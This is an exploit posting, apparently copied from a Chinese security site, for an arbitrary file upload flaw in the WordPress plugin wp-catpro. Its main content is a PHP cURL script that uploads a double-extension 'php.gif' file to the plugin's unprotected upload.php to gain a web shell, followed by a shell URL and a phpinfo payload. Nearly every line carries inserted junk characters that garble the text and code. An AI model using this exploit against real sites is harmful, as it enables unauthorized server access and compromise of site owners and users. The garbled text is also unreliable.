Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability. F' n3 v) n! v7 J# ]6 g. M
#-----------------------------------------------------------------------
. x7 O* s! S0 U# U5 T/ [
8 M4 u+ t7 q3 }5 K! Q% k作者 => Zikou-16
2 Z- Y& c# _) n+ B; D {邮箱 => zikou16x@gmail.com6 `; a: Y4 a* }# B5 {
测试系统 : Windows 7 , Backtrack 5r3
* t2 p8 S. n9 {下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
+ d1 e( X# M3 G ~* \- ~####
* \1 y5 D9 I3 I5 C& {* s1 d
* _$ i' {/ H2 k6 F- x' g3 R6 v#=> Exploit 信息:& u% X+ }/ k, F4 S9 J
------------------" ?: x, O! [" U, ~1 q! i
# 攻击者可以上传 file/shell.php.gif
& ?* s4 E# P; @# j$ {# ("jpg", "gif", "png") // Allowed file extensions! k2 ^! x7 h/ B, X5 ~
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
2 Q( s& A( L2 E# ^5 G' E# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
7 m* W5 B$ G* [+ [! w. d9 r: y------------------
& q% Y& L% j9 u ' |9 _8 Y( ^* g: f- Z4 f* M7 f1 a
#=> Exploit* Z+ s5 e/ ^5 C8 j" E
-----------2 ?; E* S0 G8 C7 X8 b0 D8 ]
<?php
6 }+ g* m4 l+ Q/ ?; l2 @5 p5 s3 `
/ T$ n# B3 w$ T; q1 y; W$uploadfile="zik.php.gif";7 l* t1 Z, I" B( v) H$ }' H
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");! U4 R+ P+ h6 Z9 a8 b" }' c
curl_setopt($ch, CURLOPT_POST, true);
! g2 }3 p3 @- ?& f0 v+ mcurl_setopt($ch, CURLOPT_POSTFIELDS,9 R$ C6 p9 V, K7 B& T8 L7 `
array('Filedata'=>"@$uploadfile",1 \- P4 g" P% P) m2 P
'folder'=>'/wp-content/uploads/catpro/'));
! G7 o+ D3 w$ a0 o5 R1 T# lcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
. J/ R4 ]" n% V. U1 z$postResult = curl_exec($ch);
! X- n9 F. K/ V! _4 p( ^& ~' lcurl_close($ch);! x1 y- v. O4 o& t) ]0 r
, s! p* _2 D! `7 Q+ Vprint "$postResult";
% @. l$ q, F- n% y% G
! q* R& y. j; l9 {+ HShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif+ P6 Q" T1 @: ?1 R& C: Z
?>( D# N; e7 e/ z+ f$ P
<?php
5 [6 M) a8 U# F: }( _phpinfo();- V, w0 W& ?0 S6 _
?> |